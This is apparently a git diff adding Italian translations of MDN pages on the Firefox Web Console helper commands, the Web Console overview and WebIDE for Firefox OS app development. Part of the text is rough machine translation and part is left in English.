+ <p><span id="result_box" lang="it"><span>Interruttore</span> <span>contesto di valutazione</span> <span>JavaScript per</span> <span>un</span> <span>iframe</span> <span>diversa all'interno della pagina</span><span>.</span> <span>Questo</span> <span>helper</span> <span>accetta più</span> <span>modi diversi</span> <span>di identificazione</span> <span>del telaio</span> <span>per passare</span><span>.</span> <span>È possibile fornire</span> <span>una delle seguenti</span><span>:</span></span></p>
+
+ <ul>
+  <li><span id="result_box" lang="it"><span>una stringa</span> <span>selettore che</span> <span>verrà</span> <span>passato al</span> <span>document.querySelector</span> <span>per individuare l'</span><span>elemento</span> <span>iframe</span></span></li>
+  <li><span class="short_text" id="result_box" lang="it"><span>l'elemento</span> <span>iframe</span> <span>stesso</span></span></li>
+  <li><span class="short_text" id="result_box" lang="it"><span>la</span> <span>finestra di contenuto</span> <span>all'interno del</span> <span>iframe</span></span></li>
+ </ul>
+
+ <p><span class="short_text" id="result_box" lang="it"><span>Vedere</span> <span>lavorare con</span> <span>iframe</span></span></p>
+ </dd>
+ <dt id="copy"><code>copy()</code></dt>
+ <dd><span id="result_box" lang="it"><span>Nuovo</span> <span>in Firefox</span> <span>38.</span> <span>Copia</span> <span>l'argomento</span> <span>negli appunti</span><span>.</span> <span>Se l'argomento</span> <span>è una stringa</span><span>,</span> <span>viene copiato</span> <span>così com'è</span><span>.</span> <span>Se l'argomento</span> <span>è un nodo</span> <span>DOM</span><span>,</span> <span>la sua</span> <span>outerHTML</span> <span>viene copiato</span><span>.</span> <span>In caso contrario</span><span>,</span> <span>JSON.stringify</span> <span>sarà chiamato</span> <span>sull'argomento</span><span>,</span> <span>e il risultato</span> <span>sarà</span> <span>copiata negli appunti</span><span>.</span></span></dd>
+ <dt id="clearHistory"><code>clearHistory()</code></dt>
+ <dd>.<span id="result_box" lang="it"><span>Nuovo</span> <span>in Firefox</span> <span>39.</span> <span>Proprio come una</span> <span>normale</span> <span>linea di comando</span><span>,</span> <span>la</span> <span>riga di comando</span> <span>della console</span> <span>ricorda</span> <span>i comandi</span> <span>che avete</span> <span>digitato</span><span>.</span> <span>Utilizzare questa funzione per</span> <span>cancellare la cronologia</span> <span>dei comandi</span> <span>della console</span><span>.</span></span></dd>
+</dl>
+
+<p><span id="result_box" lang="it"><span>Si prega di</span> <span>fare riferimento alla</span> <span>API</span> <span>Console</span> <span>per</span> <span>maggiori informazioni sulla connessione</span> <span>dal contenuto</span><span>.</span></span></p>
+
+<h2 id="variabili"><strong>variabili</strong></h2>
+
+<dl>
+ <dt id="tempN">temp<em>N</em></dt>
+ <dd><span id="result_box" lang="it"><span>L'opzione "</span><span>Use</span> <span>in</span> <span>Console"</span> <span>in Impostazioni</span> <span>genera una</span> <span>variabile per un</span> <span>nodo denominato</span> <span>temp0</span><span>,</span> <span>temp1</span><span>,</span> <span>temp2</span><span>,</span> <span>ecc</span> <span>riferimento al</span> <span>nodo.</span></span></dd>
+</dl>
+
+<h2 id="esempi">esempi</h2>
+
+<h3 id="Guardando_il_contenuto_di_un_nodo_DOM"><span class="short_text" id="result_box" lang="it"><span>Guardando</span> <span>il contenuto di un</span> <span>nodo DOM</span></span></h3>
+
+<p><span id="result_box" lang="it"><span>Diciamo che</span> <span>hai un</span> <span>nodo DOM</span> <span>con</span> <span>il "titolo</span><span>"</span> <span>ID</span><span>.</span> <span>In realtà,</span> <span>questa pagina</span> <span>che stai leggendo</span> <span>in questo momento</span> <span>ha uno,</span> <span>in modo da poter</span> <span>aprire</span> <span>la console Web</span> <span>e provare questo</span> <span>momento.</span></span></p>
+
+<p><span id="result_box" lang="it"><span>Diamo uno</span> <span>sguardo ai</span> <span>contenuti</span> <span>di quel</span> <span>nodo utilizzando</span> <span>il</span> <span>$</span> <span>(</span><span>)</span> <span>e</span> <span>ispezionare</span> <span>(</span><span>)</span> <span>funzioni:</span></span></p>
+
+<pre class="brush:js">inspect($("#title"))</pre>
+
+<p><span id="result_box" lang="it"><span>Questo apre</span> <span>automaticamente</span> <span>l'ispettore</span> <span>oggetto</span><span>,</span> <span>che mostra</span> <span>il contenuto del</span> <span>nodo DOM</span> <span>che corrisponde al</span> <span>selettore CSS</span> <span>"</span><span>#title</span><span>"</span><span>,</span> <span>che è</span> <span>ovviamente</span> <span>l'elemento con</span> <span>ID</span> <span>"titolo"</span><span>.</span></span></p>
+
+<h3 id="Dumping_il_contenuto_di_un_nodo_DOM"><span class="short_text" id="result_box" lang="it"><span>Dumping</span> <span>il contenuto di un</span> <span>nodo DOM</span></span></h3>
+
+<p><span id="result_box" lang="it"><span>Questo è</span> <span>molto bello</span><span>, se</span> <span>vi capita di essere</span> <span>seduti al</span> <span>browser</span> <span>esporre</span> <span>qualche problema</span><span>,</span> <span>ma diciamo</span> <span>che stai</span> <span>debug</span> <span>remoto</span> <span>per un utente</span><span>,</span> <span>e hanno bisogno di</span> <span>uno sguardo</span> <span>il contenuto di un</span> <span>nodo.</span> <span>Si può avere</span> <span>l'utente</span> <span>aprire la console</span> <span>Web</span> <span>e</span> <span>scaricare il contenuto</span> <span>del nodo</span> <span>nel registro</span><span>,</span> <span>quindi copiare e incollare</span> <span>in</span> <span>una e-mail</span> <span>a voi</span><span>, utilizzando la funzione</span> <span>pprint</span> <span>(</span><span>)</span><span>:</span></span></p>
+
+<pre class="brush:js">pprint($("#title"))
+</pre>
+
+<p><span id="result_box" lang="it"><span>Questo</span> <span>sputa</span> <span>fuori</span> <span>il contenuto</span> <span>del nodo</span> <span>in modo da poter</span> <span>dare un'occhiata</span><span>.</span> <span>Naturalmente</span><span>,</span> <span>questo può essere più</span> <span>utile</span> <span>con altri oggetti</span> <span>che un</span> <span>nodo DOM</span><span>,</span> <span>ma</span> <span>si ottiene l'idea</span><span>.</span></span></p>
diff --git a/files/it/tools/web_console/index.html b/files/it/tools/web_console/index.html
new file mode 100644
index 0000000000..1be4e7942e
--- /dev/null
+++ b/files/it/tools/web_console/index.html
@@ -0,0 +1,37 @@
+---
+title: Web Console
+slug: Tools/Web_Console
+translation_of: Tools/Web_Console
+---
+<p>La console web</p>
+
+<ol>
+ <li>Registra informazioni associate con la pagina web: richieste in rete, JavaScript, CSS, erori generici ed errori relativi alla sicurezza, warning e addizionali messaggi generati dal codice JavaScript che viene eseguito nel contesto della pagina</li>
+ <li>Abilita l'interazione con la pagina web eseguendo le istruzioni JavaScript nel contesto della pagina</li>
+</ol>
+
+<p>{{EmbedYouTube("C6Cyrpkb25k")}}</p>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Opening_the_Web_Console">Aprire la console web</a></dt>
+ <dd>Come iniziare ad usare la console web</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter">L'interprete della riga di comando</a></dt>
+ <dd>Come interagine con un documento usando la console web.</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Split_console">Dividere la console web</a></dt>
+ <dd>Usare console web insieme con altri strumenti.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Console_messages">Messagi della console web</a></dt>
+ <dd>Dettagli dei messaggi registrati nella console web.</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Rich_output">Output arrichito</a></dt>
+ <dd>Vedi e interagisci con gli oggetti .</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Keyboard_shortcuts">Scorciatoie da tastiera</a></dt>
+ <dd>Elenco delle scorciatoie da tastiera.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/it/tools/webide/index.html b/files/it/tools/webide/index.html
new file mode 100644
index 0000000000..2e2bad73d0
--- /dev/null
+++ b/files/it/tools/webide/index.html
@@ -0,0 +1,333 @@
+---
+title: WebIDE
+slug: Tools/WebIDE
+translation_of: Archive/WebIDE
+---
+<div class="geckoVersionNote">
+<p>WebIDE è disponibile da Firefox 34 in poi.</p>
+
+<p>Puoi attivare WebIDE anche in Firefox 33, semplicemente cambiando una preferenza: digita <a href="http://kb.mozillazine.org/About:config">about:config</a> nella barra degli indirizzi e imposta come <code>vero</code> il parametro di <code>devtools.webide.enabled</code>.</p>
+</div>
+
+<div class="summary">
+<p>WebIDE è il sostituto di <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a>. Come App Manager,  ti permette di usare e fare il debug delle app di <a href="/en-US/Firefox_OS">Firefox OS</a> usando <a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> oppure un normale dispositivo con Firefox OS.</p>
+
+<p>WebIDE include un ambiente di editing che ti permette di creare e sviluppare app per Firefox OS, fornisce una visione ad albero di tutti i file presenti nella tua app con la possibilità di modificarli e salvarli, e in più due template per aiutarti a iniziare.</p>
+
+<p>Inoltre, WebIDE ti permette di connetere i <a href="/en-US/docs/Tools">Firefox Developer Tools</a> ad altri browser, come Firefox per Android, Chrome per Android e Safari su iOS. Dai un'occhiata alla pagina <a href="/en-US/docs/Tools/Remote_Debugging">Debug Remoto</a> per ottenere informazioni su come connetterti ad un browser specifico.</p>
+</div>
+
+<p>Con WebIDE, per prima cosa devi <a href="/en-US/docs/Tools/WebIDE#Setting_up_runtimes">impostare una o più runtime</a>. Una runtime, è l'ambiente in cui testerai ed eseguirai il debug di un App. La runtime potrebbe essere un device con a bordo Firefox OS connesso tramite cavo USB, oppure Firefox OS Simulator installato sul computer.</p>
+
+<p>Adesso, puoi <a href="/en-US/docs/Tools/WebIDE#Creating_and_opening_apps">creare un app, o aprire un app esistente</a>. Se stai creando una nuova app, puoi partire da un template che include la struttura base delle cartelle e un modello contenente il minimo indispensabile per iniziare a sviluppare, oppure usare un template più corposo che mostra come usare una API privilegiata. Con WebIDE puoi modificare e salvare i file della tua app, che vengono mostratti in una struttura ad albero, attraverso un editor incorporato. Ovviamente non sei obbligato ad usare l'editor incorporato, puoi sviluppare l'app esternamente ed usare WebIDE solamente per eseguire il debug.</p>
+
+<p>Infine, puoi <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Running_and_debugging_apps">installare l'app in  una delle runtime ed eseguirla</a>. Durante l'esecuzione dell'app puoi osservarla e modificarla tramite gli strumenti per lo sviluppo come l'<a href="/en-US/docs/Tools/Page_Inspector">Inspector</a>, la <a href="/en-US/docs/Tools/Web_Console">Console</a>, Il<a href="/en-US/docs/Tools/Debugger"> Debugger Javascript</a> e molto altro.</p>
+
+<h2 id="Requisiti_di_sistema">Requisiti di sistema</h2>
+
+<p>Per sviluppare ed eseguire il debug delle app utilizzando WebIDE, tutto ciò che ti serve è Firefox 23 o versioni successive.  Per testare l'app su un dispositivo vero e proprio, hai bisogno di un device che abbia Firefox OS 1.2 o versioni successive.</p>
+
+<p>Puoi usare WebIDE solamente se il tuo sviluppo riguarda Firefox OS 1.2 o versioni successive.</p>
+
+<h2 id="Aprire_WebIDE">Aprire WebIDE</h2>
+
+<p>WebIDE può essere aperto in tre modi:</p>
+
+<ul>
+ <li>Cliccando la voce "WebIDE" nel Menu Web Developer</li>
+ <li>Utilizzando la scorciatoia da tastiera Shift-F8.</li>
+ <li>Utilizzando l'icona dedicata nella barra degli strumenti. Quest'icona sarà sempre presente se utilizzi <a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a>, e su qualsiasi versione di Firefox dalla 36 in poi dopo che hai apero WebIDE almeno una volta.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9437/webide-icon.png" style="display: block; margin-left: auto; margin-right: auto; width: 897px;"></p>
+
+<p>Ecco WebIDE in azione:<img alt="" src="https://mdn.mozillademos.org/files/8033/webide-initial.png" style="display: block; height: 560px; margin-left: auto; margin-right: auto; width: 720px;">Il menu a cascata sulla sinistra denominato "Apri App", ti permette di aprire un app esistente o di crearne una nuova, mentre il menu sulla destra ti permette di scegliere una runtime o crearne una nuova.</p>
+
+<p>I tasti esegui, stop e debug: appaiono solamente dopo aver aperto un app e selezionato una runtime.</p>
+
+<p>Da Firefox 36, puoi modificare la grandezza del font in WebIDE utilizzando le seguenti scorciatoie da tastiera (usa il tasto <code>Command</code> al posto <code>Control</code> se stai usando OS X):</p>
+
+<ul>
+ <li><code>Ctrl +</code>  aumenta grandezza font</li>
+ <li><code>Ctrl -</code> diminuisci grandezza font</li>
+ <li><code>Ctrl 0</code> reimposta grandezza font al valore di default</li>
+</ul>
+
+<h2 id="Impostare_le_runtime">Impostare le runtime</h2>
+
+<p>Nel menu "Seleziona Runtime", le runtime sono raggruppate in tre tipi:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Connecting_a_Firefox_OS_device">Dispositivi USB</a>: usa un device Firefox OS connesso tramite USB. Questa opzione ti permette, da Firefox 36, di connetterti anche a<a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE"> Firefox per Android</a>.</li>
+ <li><a href="/en-US/docs/Tools/WebIDE#Adding_a_Simulator">Simulatori</a>: Le istanze del Simulatore di Firefox OS che hai installato sul tuo computer.</li>
+ <li><a href="/en-US/docs/Tools/WebIDE#Custom_runtimes">Custom</a>: usa questa opzione per connettere una runtime a WebIDE usando un nome e una porta precisa. Da Firefox 36 questo tipo di runtime è stato rinominato in "Altro". Se hai installato l'add-on <a href="/en-US/docs/Tools/Valence">Valence</a> questa sezione conterrà anche delle <a href="/en-US/docs/Tools/WebIDE#Valence-enabled_runtimes">runtime addizionali</a>.</li>
+</ul>
+
+<p>La prima volta che clicchi il menu, probabilmente non vedrai alcuna runtime:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8043/webide-no-runtimes.png" style="display: block; height: 564px; margin-left: auto; margin-right: auto; width: 723px;">Il resto di questa sezione mostra come fare per aggiungere delle runtime.</p>
+
+<h3 id="Connettersi_ad_un_device_Firefox_OS">Connettersi ad un device Firefox OS</h3>
+
+<p>Prima di connetterti ad un device, ci sono alcune cose da fare:</p>
+
+<ul>
+ <li><strong>controllare la tua versione di Firefox OS: </strong>assicurati che il tuo device abbia Firefox OS 1.2/Boot2Gecko 1.2 o successivi. Per controllare la versione, vai in <code>Impostazioni</code>  &gt; <code>Informazioni sul dispositivo</code> &gt;  <code>Software</code>. Se il tuo device non ha una versione supportata, leggi la<a href="/en-US/Firefox_OS/Developer_phone_guide"> Guida al Telefono per Sviluppatori</a> e segui le istruzioni per fare l'upgrade.</li>
+ <li><strong>abilita il debug remoto: </strong>nell'app Impostazioni andare in Informazioni<code> Dispositivo &gt; Altre Informazioni &gt; Sviluppatore</code>.
+  <ul>
+  </ul>
+
+  <ul>
+   <li>Firefox OS 1.3 e precedenti: "Debug Remoto" è una semplice casella di controllo. Spuntala.</li>
+   <li>Firefox OS 1.4 e successive: "Debug Remoto" richiede di abilitare solo ADB o ADB e DevTools. Selezionare "ADB e DevTools".</li>
+  </ul>
+ </li>
+ <li><strong>disable Screen lock on your device:</strong> in the Settings app on the device, go to <code>Screen Lock</code> and unchecking the <code>Lock Screen</code> checkbox. This is a good idea because when the screen gets locked, the phone connection gets lost, meaning it is no longer available for debugging.</li>
+ <li><strong>if you want unrestricted debugging privileges, including certified apps, built-in apps, and apps already installed on a real device</strong>: see the section on <a href="/en-US/docs/Tools/WebIDE#Unrestricted_app_debugging_%28including_certified_apps.2C_main_process.2C_etc.%29">Unrestricted app debugging (including certified apps, main process, etc.)</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Linux only:</strong></p>
+
+<ul>
+ <li>add a <code>udev</code> rules file, as documented in step 3 of this guide to <a href="http://developer.android.com/tools/device.html#setting-up">setting up an Android device</a>. The <code>idVendor</code> attribute to use for the Geeksphone is "05c6", and <a href="http://developer.android.com/tools/device.html#VendorIds">this page</a> lists other <code>idVendor</code> values.</li>
+</ul>
+</div>
+
+<div class="note">
+<p><strong>Windows only:</strong></p>
+
+<ul>
+ <li>you need to install drivers, as documented in step 3 of this guide to <a href="http://developer.android.com/tools/device.html#setting-up">setting up an Android device</a>. You can find drivers for Geeksphone devices on the <a href="http://downloads.geeksphone.com/">Geeksphone web site</a>. Windows 8 by default will not let you install unsigned drivers. See this tutorial on <a class="external external-icon" href="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html" title="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html">"How to install an unsigned driver on Windows 8"</a>.</li>
+ <li>if WebIDE can't see your device after following all the steps, you may have to <a class="external external-icon" href="http://blog.fh-kaernten.at/wehr/?p=1182">edit adb_usb.ini</a>.</li>
+</ul>
+</div>
+
+<p>If there are any other Android devices connected to your computer, disconnect them. Now connect the device to the computer using USB. You should see the device appear under "USB DEVICES":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8045/webide-select-runtime-keon.png" style="display: block; height: 562px; margin-left: auto; margin-right: auto; width: 710px;"></p>
+
+<p>If you don't see your device, see the <a href="/en-US/docs/Tools/WebIDE/Troubleshooting">Troubleshooting</a> page.</p>
+
+<h3 id="Connecting_to_Firefox_for_Android">Connecting to Firefox for Android</h3>
+
+<p>From Firefox 36 onwards Android devices connected over USB and running Firefox for Android appear as a runtime under "USB devices". See the article on <a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE">connecting to Firefox for Android from WebIDE</a>.</p>
+
+<p>Before Firefox 36, you can <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">connect to Firefox for Android without using WebIDE at all</a>, or can use WebIDE by setting up a <a href="/en-US/docs/Tools/WebIDE#Remote_runtime">custom remote runtime</a>.</p>
+
+<h3 id="Adding_a_Simulator">Adding a Simulator</h3>
+
+<p><span style="line-height: 1.5;">The <a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> is <span style="line-height: 1.5;">a version of the higher layers of Firefox OS</span> that simulates a Firefox OS device, but runs on the desktop</span><span style="line-height: 1.5;">. </span><span style="line-height: 1.5;">It runs in a window the same size as a Firefox OS device, includes the Firefox OS user interface and built-in apps, and simulates many of the Firefox OS device APIs.</span></p>
+
+<p><span style="line-height: 1.5;">This means that in many cases, you don't need a real device to test and debug your app. </span></p>
+
+<p>The Simulator is big, so it doesn't ship inside Firefox but as a Firefox <a href="/en-US/Add-ons">add-on</a>. If you click "Install Simulator" in the Runtimes dropdown menu, you will go to a page from which you can install Simulators for various versions of Firefox OS.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8039/webide-install-simulator.png" style="display: block; height: 560px; margin-left: auto; margin-right: auto; width: 720px;">You can install as many as you like. Be patient, though: the Simulator is large and may take a few minutes to download. Once you've installed some Simulators you can close this "Extra Components" window, and the Simulators you've installed appear as options in the Runtimes dropdown menu:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8047/webide-select-runtime-keon-simulator.png" style="display: block; height: 559px; margin-left: auto; margin-right: auto; width: 712px;">To learn more about the Simulator, see its <a href="/en-US/docs/Tools/Firefox_OS_Simulator">documentation page</a>.</p>
+
+<h3 id="Custom_runtimes">Custom runtimes</h3>
+
+<h4 id="Remote_runtime">Remote runtime</h4>
+
+<p>With a custom remote runtime you can use an arbitrary hostname and port to connect to the remote device.</p>
+
+<p>Under the hood, Firefox OS devices and Android devices connect to the desktop using a program called the Android Debug Bridge, or <a href="http://developer.android.com/tools/help/adb.html">ADB</a>. By default, WebIDE uses an add-on called the ADB Helper: this simplifies the process for you by installing ADB and setting up port forwarding so the Firefox desktop tools can exchange messages with the device.</p>
+
+<p>This is convenient in most cases, but sometimes you might want to use ADB outside of WebIDE: for example, you might be running ADB directly from the command line. In that case you'll connect to the device by specifying a host and port using the <a href="http://developer.android.com/tools/help/adb.html#forwardports"><code>adb forward</code></a> command (example: <code>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</code>).<br>
+ <br>
+ If you then want to use WebIDE to connect as well, you should <a href="https://support.mozilla.org/en-US/kb/disable-or-remove-add-ons#w_how-to-disable-extensions-and-themes">disable the ADB Helper add-on</a> and connect WebIDE using the Custom runtime option, entering the host and port that you passed to <code>adb forward</code> (example: <code>localhost:6000</code>).</p>
+
+<p>Also, before Firefox 36, the ADB Helper does not yet support connecting to Firefox for Android, so if you want to connect WebIDE to Firefox for Android, you'll need to set up your own port forwarding and use a custom runtime. <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">See more about connecting to Firefox for Android using ADB prior to Firefox 36</a>.</p>
+
+<h4 id="Valence-enabled_runtimes">Valence-enabled runtimes</h4>
+
+<p>If you have the <a href="/en-US/docs/Tools/Valence">Valence</a> add-on installed, you'll see three additional runtimes:</p>
+
+<ul>
+ <li>Chrome on Android</li>
+ <li>Safari on iOS</li>
+ <li>Chrome Desktop</li>
+</ul>
+
+<p>For instructions on how to connect to these runtimes, see the relevant entry in the <a href="/en-US/docs/Tools/Remote_Debugging">Remote Debugging</a> page.</p>
+
+<h2 id="Selecting_a_runtime">Selecting a runtime</h2>
+
+<p>Once you've set up a runtime you can select it using the "Select Runtime" menu.</p>
+
+<ul>
+ <li>If you select a Simulator, WebIDE launches the Simulator.</li>
+ <li>If you select a Firefox OS device WebIDE connects to the device. On the device a dialog will ask you to confirm that you wish to connect: press "OK".</li>
+</ul>
+
+<p>Now the "play" button in the center of the WebIDE toolbar is enabled: click it to install and run the app in the selected runtime.</p>
+
+<h3 id="Runtime_actions">Runtime actions</h3>
+
+<p>When a runtime is selected, the Runtimes dropdown menu has three extra items:</p>
+
+<ul>
+ <li><strong>Runtime Info</strong>: information on the current runtime</li>
+ <li><strong>Permissions Table</strong>: a table summarising <a href="/en-US/Apps/Build/App_permissions">app permissions</a> for the current runtime, indicating, for each API and each <a href="/en-US/Marketplace/Options/Packaged_apps#Types_of_packaged_apps">app type</a>, whether access is allowed (✓), denied (✗), or whether the user is prompted (!)</li>
+ <li><strong>Screenshot</strong>: a command to take a screenshot from the runtime</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8147/webide-runtimes-menu.png" style="display: block; height: 596px; margin-left: auto; margin-right: auto; width: 789px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8145/webide-runtimeinfo.png" style="display: block; height: 593px; margin-left: auto; margin-right: auto; width: 753px;"><img alt="" src="https://mdn.mozillademos.org/files/8149/webide-permissions.png" style="display: block; height: 593px; margin-left: auto; margin-right: auto; width: 753px;"></p>
+
+<h2 id="Creating_and_opening_apps">Creating and opening apps</h2>
+
+<p>Under the "Open App" menu you get three options: create a new app, open a packaged app, and open a hosted app:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8049/webide-open-app-empty.png" style="display: block; height: 562px; margin-left: auto; margin-right: auto; width: 723px;"></p>
+
+<h3 id="Create_a_new_app">Create a new app</h3>
+
+<p>Select "New App..." to create a new app. You'll see a dialog offering you a choice between two templates, "Privileged Empty App" and "Privileged App".</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8053/webide-new-app.png" style="display: block; height: 591px; margin-left: auto; margin-right: auto; width: 739px;"></p>
+
+<p>Both templates are from Mozilla's <a href="https://github.com/mozilla/mortar">app template collection</a>, and provide you with the basic structure you need to get started. The "Privileged App" shows how an app can use permissions to load cross-origin content.</p>
+
+<p>Once you've selected a template you'll be asked to name the app and select a directory to store the files, and then the new app is opened in the <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Editing_apps">project editor</a>.</p>
+
+<h3 id="Open_a_packaged_app">Open a packaged app</h3>
+
+<p>Select "Open Packaged App..." to open a <a href="/en-US/Marketplace/Options/Packaged_apps">packaged app</a>. You'll be asked to select a directory containing the app's <a href="/en-US/Apps/Build/Manifest">manifest</a>, and the app will be opened in the <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Editing_apps">project editor</a>.</p>
+
+<h3 id="Open_a_hosted_app">Open a hosted app</h3>
+
+<p>Select "Open Hosted App..." to open a <a href="/en-US/Marketplace/Options/Hosted_apps">hosted app</a>. You'll be asked to enter a URL pointing to the app's <a href="/en-US/Apps/Build/Manifest">manifest</a>, and the app will be opened in the <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Editing_apps">project editor</a>.</p>
+
+<h2 id="Editing_apps">Editing apps</h2>
+
+<p>The project editor provides an environment for editing apps. There's a tree view on the left of all the files in the app: you can add and delete files here using a context menu. There's an editor pane on the right.</p>
+
+<h3 id="The_app_summary_page">The app summary page</h3>
+
+<p>When you first open or create an app, the editor pane is occupied by the app summary page, which is shown below:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8055/webide-new-app-editor.png" style="display: block; height: 625px; margin-left: auto; margin-right: auto; width: 846px;"></p>
+
+<p>You can always get back to the app summary page by clicking on the root of the tree on the left.</p>
+
+<h3 id="Manifest_validation">Manifest validation</h3>
+
+<p>WebIDE automatically checks the manifest for certain common problems. If it finds a problem it indicates that the app is invalid and describes the problem in the app's summary:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8063/webide-invalid-manifest.png" style="display: block; height: 626px; margin-left: auto; margin-right: auto; width: 847px;"></p>
+
+<p>Of course, you can edit the <a href="/en-US/Apps/Build/Manifest">manifest.webapp</a> file right in the project editor as well.</p>
+
+<h3 id="The_source_editor">The source editor</h3>
+
+<p>WebIDE uses the <a href="http://codemirror.net/">CodeMirror</a> source editor.</p>
+
+<h4 id="Source_editor_shortcuts">Source editor shortcuts</h4>
+
+<p>{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "source-editor") }}</p>
+
+<h4 id="Code_completion">Code completion</h4>
+
+<p>When editing CSS and JavaScript, the editor provides autocomplete suggestions. CSS autocompletion is always enabled:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8057/webide-css-autocomplete.png" style="display: block; height: 628px; margin-left: auto; margin-right: auto; width: 849px;">To display autocomplete suggestions in JavaScript press Control + Space:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8059/webide-js-autocomplete.png" style="display: block; height: 653px; margin-left: auto; margin-right: auto; width: 867px;"></p>
+
+<h4 id="Inline_documentation">Inline documentation</h4>
+
+<p>The editor also shows inline documentation for JavaScript. Press Shift + Space to see a popup containing documentation for the symbol your cursor is on:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8061/webide-js-inline-docs.png" style="display: block; height: 652px; margin-left: auto; margin-right: auto; width: 872px;"></p>
+
+<p>Clicking the <code>[docs]</code> link in the popup will take you to the MDN page for the symbol.</p>
+
+<h4 id="Saving_files">Saving files</h4>
+
+<p>For changes to your files to take effect you need to save them. Files with unsaved changes get an asterisk next to their name in the tree view, and you can save files using the menu or Control+S (Command+S on Mac OS X).</p>
+
+<h3 id="Removing_projects">Removing projects</h3>
+
+<p>To remove an app from WebIDE, go to the <a href="/en-US/docs/Tools/WebIDE#The_app_summary_page">app summary page</a> and click "Remove Project".</p>
+
+<h2 id="Running_and_debugging_apps">Running and debugging apps</h2>
+
+<p>When you're ready to run the app, you need to <a href="/en-US/docs/Tools/WebIDE#Selecting_a_runtime">select a runtime from the "Select Runtime" dropdown menu</a>. If you don't have any available runtimes here, find out how to add some in <a href="/en-US/docs/Tools/WebIDE#Setting_up_runtimes">Setting up runtimes</a>.</p>
+
+<p>The "play" button in the center of the WebIDE toolbar is now enabled: click it to install and run the app in the selected runtime:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8065/webide-running.png" style="display: block; height: 718px; margin-left: auto; margin-right: auto; width: 1314px;">To debug the app, click the "Pause" button and the Developer Tools <a href="/en-US/docs/Tools/Tools_Toolbox">Toolbox</a> appears, connected to your app:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8067/webide-debugging.png" style="display: block; height: 688px; margin-left: auto; margin-right: auto; width: 1310px;"></p>
+
+<div class="geckoVersionNote">
+<p>From Firefox 36 onwards, the "Pause" button is replaced with a wrench icon.</p>
+</div>
+
+<p>Exactly which tools you'll have available depends on the runtime, but you will at least have the basics: the <a href="/en-US/docs/Tools/Page_Inspector">Inspector</a>, <a href="/en-US/docs/Tools/Web_Console">Console</a>, <a href="/en-US/docs/Tools/Debugger">JavaScript Debugger</a>, <a href="/en-US/docs/Tools/Style_Editor">Style Editor</a>, <a href="/en-US/docs/Tools/Profiler">Profiler</a> and <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a>. Just as in a web page, any changes you make in the tools are visible immediately in the app, but are not persistent. Conversely, any changes you make in the editor pane can be saved straight back to disk, but are not visible without restarting the app.</p>
+
+<h3 id="Unrestricted_app_debugging_(including_certified_apps_main_process_etc.)">Unrestricted app debugging (including certified apps, main process, etc.)</h3>
+
+<p>You can run the debugger against the simulator, b2g desktop, or a real device.</p>
+
+<p>With the Simulator, if you click on the app dropdown menu while the runtime is selected, you can see and debug not only your app but all apps running in that runtime, including <a href="/en-US/Marketplace/Options/Packaged_apps#Certified_app">certified apps</a>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8069/webide-debugging-builtin.png" style="display: block; height: 681px; margin-left: auto; margin-right: auto; width: 1302px;"></p>
+
+<p><br>
+ However, when connecting to a real device we have a security policy in force:</p>
+
+<ul>
+ <li>On devices running Firefox OS versions up to 2.1, all installed apps on device that are <strong>not</strong> certified apps (so privileged and web / regular apps) appear in "Runtime Apps" by default.</li>
+ <li>On Firefox 2.1 and above, we changed this so that only apps installed via DevTools / WebIDE appear in "Runtime Apps", regardless of app type. We did this to protect potentially sensitive data that could be present in apps.</li>
+</ul>
+
+<p>To remove this restriction:</p>
+
+<ul>
+ <li>The device must be running a development build of Firefox OS 1.2+</li>
+ <li>You must disable the <code>DevTools restricted privileges</code> setting.</li>
+</ul>
+
